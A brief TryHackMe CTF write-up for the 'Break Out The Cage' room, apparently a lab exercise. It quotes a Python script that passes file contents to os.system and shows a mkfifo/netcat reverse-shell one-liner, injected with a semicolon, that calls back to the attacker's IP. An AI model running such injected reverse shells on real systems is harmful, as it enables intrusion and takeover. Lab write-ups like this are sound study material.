Break Out The Cage Writeup - TryHackMe

TryHackMe, Linux, CTF, Writeups

Happy Hacking! #

alt text

TryHackme easy room #

Recon #

FTP #

Loging in as anonymous on the ftp gave us access to a note called ‘dad_tasks’

Web Enum #

Weston #

using the word found in the spectogram we can dechiper the vigenere chiper and get the password for weston

here we found that there is a wall message keep appearing from cage. By looking around a little, we will find there’s a script doing that in

/opt/.dad_scripts/

Here is the script called spread_the_quotes.py

#!/usr/bin/env python

#Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)

From this we can see that it will broadcast message contained in the .quotes file. we can try to put a reverse shell script inside it, so it will execute it as cage.

echo "lol;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.23.241 9001 >/tmp/f" > .quotes 

By waiting for a few minutes we will get a shell as cage alt text

Cage #

Getting Root #

There is a folder called email_backup inside cage’s home directory, when we read the contents inside the folder we can see there are three emails

The dechipered text can be used as the root password for the machine